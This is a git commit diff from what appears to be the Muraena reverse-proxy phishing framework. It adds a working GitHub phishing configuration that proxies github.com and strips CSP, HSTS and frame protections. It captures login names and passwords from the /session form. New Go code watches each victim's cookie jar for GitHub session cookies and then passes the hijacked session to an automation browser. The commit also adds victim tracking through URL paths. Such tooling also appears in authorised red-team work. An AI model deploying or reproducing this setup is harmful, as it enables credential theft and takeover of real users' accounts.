Added necrobrowser auto-trigger functionality based on cookie jar items. Fixed tracking via path (now supports not-existing paths too). Added example Github configuration

This commit is contained in:
antisnatchor 2021-02-15 14:33:07 +01:00
parent 23d595e6bd
commit 6776a45773
8 changed files with 334 additions and 19 deletions

185
config/config.github.toml Normal file
View file

@ -0,0 +1,185 @@
[proxy]
# Phishing domain
phishing = "phishing.com"
# Target domain to proxy
destination = "github.com"
# Listening IP address
IP = "0.0.0.0"
# Listeninng TCP Port
port = 443
# Force HTTP to HTTPS redirection
[proxy.HTTPtoHTTPS]
enabled = true
HTTPport = 80
#
# Proxy's replacement rules
#
[transform]
# List of content types to exclude from the transformation process
skipContentType = [ "font/*", "image/*" ]
# Enable transformation rules in base64 strings
[transform.base64]
enabled = false
padding = [ "=", "." ]
[transform.request]
headers = [
"Cookie",
"Referer",
"Origin",
"X-Forwarded-For"
]
[transform.response]
headers = [
"Location",
"WWW-Authenticate",
"Origin",
"Set-Cookie",
"Access-Control-Allow-Origin"
]
# Generic replacement rules:
# it applies to body and any http header enabled for manipulation
content = [
[ "integrity", "intintint" ]
]
#
# Proxy's wiping rules
#
[remove]
[remove.request]
headers = [
"X-Forwarded-For"
]
[remove.response]
headers = [
"Content-Security-Policy",
"Content-Security-Policy-Report-Only",
"Strict-Transport-Security",
"X-XSS-Protection",
"X-Content-Type-Options",
"X-Frame-Options",
"Referrer-Policy",
"X-Forwarded-For"
]
#
# Rudimental redirection rules
#
[[drop]]
path = "/logout"
redirectTo = "https://github.com"
#
# LOG
#
[log]
enabled = true
filePath = "muraena.log"
#
# TLS
#
[tls]
enabled = true
# Expand allows to replace the content of the certificate/key/root parameters to their content instead of the
# filepath
expand = false
certificate = "./cert.pem"
key = "./privkey.pem"
root = "./fullchain.pem"
#
# CRAWLER
#
[crawler]
enabled = false
depth = 3
upto = 20
externalOriginPrefix = "cdn-"
externalOrigins = [
"*.githubassets.com"
]
#
# NECROBROWSER
#
[necrobrowser]
enabled = true
endpoint = "http://127.0.0.1:3000/instrument"
profile = "./config/instrument.github.necro"
[necrobrowser.keepalive]
# GET on an authenticated endpoint to keep the session alive
# every keepalive request is processed as its own necrotask
enabled = false
minutes = 5 # keeps alive the session every 5 minutes
[necrobrowser.trigger]
type = "cookies"
values = ["user_session", "dotcom_user"] # these are two cookies set by github after successful auth
delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something
#
# STATIC SERVER
#
[staticServer]
enabled = false
port = 8080
localPath = "./static/"
urlPath = "/evilpath/"
#
# TRACKING
#
[tracking]
enabled = true
# the tracking below supposes your phishing url will be something like:
# https://github.com/GithubProfile/aaa-111-bbb (see regex below)
# NOTE: the URL doesn't need to exist, so this is also valid (update identifier accordingly):
# https://github.com/GithubProfileFooBar/aaa-111-bbb
type = "path"
# Tracking identifier
identifier = "_GithubProfile_"
# Rule to generate and validate a tracking identifier
regex = "[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}"
[tracking.urls]
credentials = [ "/session" ]
# we don't need this anymore since we manage via necrobrowser.trigger
# authSession = [ "/settings/profile" ]
[[tracking.patterns]]
label = "Username"
matching = "login"
start = "login="
end = "&password="
[[tracking.patterns]]
label = "Password"
matching = "password"
start = "password="
end = "&"

View file

@ -139,6 +139,22 @@
endpoint = "http://necrobrowser.url/xyz"
profile = "./config/instrument.necro"
[necrobrowser.keepalive]
# GET on an authenticated endpoint to keep the session alive
# every keepalive request is processed as its own necrotask
enabled = false
minutes = 5 # keeps alive the session every 5 minutes
[necrobrowser.trigger]
type = "cookies"
values = ["user_session", "dotcom_user"] # values can be cookies names or relative paths
delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something
# type path example (triggers when the victim goes to a specific relative URL):
# type = "path"
# values = ["/settings/profile"]
# delay = 5
#
# STATIC SERVER

View file

@ -20,6 +20,8 @@ type Victim struct {
CredsCount int `redis:"creds_count"`
CookieJar string `redis:"cookiejar_id"`
SessionInstrumented bool `redis:"session_instrumented"`
}
// a victim has at least one set of credentials
@ -68,6 +70,21 @@ func StoreVictim(id string, victim *Victim) error {
return nil
}
func SetSessionAsInstrumented(id string) error {
rc := RedisPool.Get()
defer rc.Close()
key := fmt.Sprintf("victim:%s", id)
if _, err := rc.Do("HSET", key, "session_instrumented", true); err != nil {
log.Error("error doing redis HSET: %s. session_instrumented field not saved.", err)
return err
}
return nil
}
func GetAllVictims() ([]string, error) {
rc := RedisPool.Get()
defer rc.Close()
@ -197,7 +214,7 @@ func GetVictimCookiejar(id string) ([]VictimCookie, error) {
return nil, err
}
log.Info("Victim %s has %d cookies in the cookiejar", id, len(values))
log.Debug("Victim %s has %d cookies in the cookiejar", id, len(values))
var cookiejar []VictimCookie
for _, name := range values {

View file

@ -47,14 +47,14 @@ func (response *Response) Unpack() (buffer []byte, err error) {
rc = response.Body
buffer, _ = ioutil.ReadAll(rc)
/*
if err != nil {
return nil, err
}
err = response.Body.Close()
if err != nil {
return nil, err
}
*/
if err != nil {
return nil, err
}
err = response.Body.Close()
if err != nil {
return nil, err
}
*/
defer rc.Close()
}
return

View file

@ -47,4 +47,4 @@ var (
dateTimeFormat = "02 Jan 06 15:04 MST"
// Format is the default format being used when logging.
format = "{datetime} {level:color}{level:name}{reset} {message}"
)
)

View file

@ -11,7 +11,7 @@ import (
"gopkg.in/resty.v1"
"github.com/muraenateam/muraena/session"
session "github.com/muraenateam/muraena/session"
)
const (
@ -103,9 +103,80 @@ func Load(s *session.Session) (m *Necrobrowser, err error) {
m.Request = string(bytes)
// spawn a go routine that checks all the victims cookie jars every N seconds
// to see if we have any sessions ready to be instrumented
if s.Config.NecroBrowser.Enabled {
go m.CheckSessions()
}
return
}
func (module *Necrobrowser) CheckSessions() {
triggerType := module.Session.Config.NecroBrowser.Trigger.Type
triggerDelay := module.Session.Config.NecroBrowser.Trigger.Delay
for {
switch triggerType {
case "cookies":
module.CheckSessionCookies()
case "path":
// TODO
log.Warning("currently unsupported. TODO implement path")
default:
log.Warning("unsupported trigger type: %s", triggerType)
}
time.Sleep(time.Duration(triggerDelay) * time.Second)
}
}
func (module *Necrobrowser) CheckSessionCookies() {
triggerValues := module.Session.Config.NecroBrowser.Trigger.Values
victims, err := db.GetAllVictims()
if err != nil {
module.Debug("error fetching all victims: %s", err)
}
module.Debug("checkSessions: we have %d victim sessions. Checking authenticated ones.. ", len(victims))
for _, vId := range victims {
cookieJar, err := db.GetVictimCookiejar(vId)
if err != nil {
module.Debug("error fetching victim %s: %s", vId, err)
}
cookiesFound := 0
cookiesNeeded := len(triggerValues)
for _, cookie := range cookieJar {
if Contains(&triggerValues, cookie.Name) {
cookiesFound++
}
}
v, _ := db.GetVictim(vId)
// if we find the cookies, and the session has not been already instrumented (== false), then instrument
if cookiesNeeded == cookiesFound && !v.SessionInstrumented {
module.Instrument(cookieJar, "[]") // TODO add credentials JSON, instead of passing empty [] array
// prevent the session to be instrumented twice
db.SetSessionAsInstrumented(vId)
}
}
}
func Contains(slice *[]string, find string) bool {
for _, a := range *slice {
if a == find {
return true
}
}
return false
}
func (module *Necrobrowser) Instrument(cookieJar []db.VictimCookie, credentialsJSON string) {
var necroCookies []SessionCookie

View file

@ -4,6 +4,7 @@ import (
//"encoding/json"
"encoding/json"
"fmt"
"github.com/muraenateam/muraena/log"
"net/http"
"net/url"
"path"
@ -222,18 +223,27 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
}
noTraces := true
isTrackedPath := false
//
// Tracing types: Path || Query (default)
//
if module.Type == "path" {
re := regexp.MustCompile(`/([^/]+)`)
tr := module.Session.Config.Tracking
pathRegex := strings.Replace(tr.Identifier, "_", "/", -1) + tr.Regex
re := regexp.MustCompile(pathRegex)
match := re.FindStringSubmatch(request.URL.Path)
module.Info("tracking path match: %v", match)
if len(match) > 0 {
t = module.makeTrace(match[1])
t = module.makeTrace(match[0])
if t.IsValid() {
log.Info("setting If-Landing-Redirect header to %s", strings.ReplaceAll(request.URL.Path, t.ID, ""))
request.Header.Set("If-Landing-Redirect", strings.ReplaceAll(request.URL.Path, t.ID, ""))
noTraces = false
isTrackedPath = true
}
}
}
@ -303,6 +313,11 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
}
v.RequestCount++
if module.Type == "path" && isTrackedPath {
request.URL.Path = module.Session.Config.Tracking.RedirectTo
}
return
}

View file

@ -18,7 +18,6 @@ const (
DefaultHTTPSPort = 443
)
// Configuration
type Configuration struct {
Protocol string `toml:"-"`
@ -94,11 +93,11 @@ type Configuration struct {
// TLS
//
TLS struct {
Enabled bool `toml:"enabled"`
Expand bool `toml:"expand"`
Certificate string `toml:"certificate"`
Key string `toml:"key"`
Root string `toml:"root"`
Enabled bool `toml:"enabled"`
Expand bool `toml:"expand"`
Certificate string `toml:"certificate"`
Key string `toml:"key"`
Root string `toml:"root"`
CertificateContent string `toml:"-"`
KeyContent string `toml:"-"`
@ -126,6 +125,17 @@ type Configuration struct {
Enabled bool `toml:"enabled"`
Endpoint string `toml:"endpoint"`
Profile string `toml:"profile"`
Keepalive struct {
Enabled bool `toml:"enabled"`
Minutes int `toml:"minutes"`
} `toml:"keepalive"`
Trigger struct {
Type string `toml:"type"`
Values []string `toml:"values"`
Delay int `toml:"delay"`
} `toml:"trigger"`
} `toml:"necrobrowser"`
//
@ -148,6 +158,7 @@ type Configuration struct {
Domain string `toml:"domain"`
IPSource string `toml:"ipSource"`
Regex string `toml:"regex"`
RedirectTo string `toml:"redirectTo"`
Urls struct {
Credentials []string `toml:"credentials"`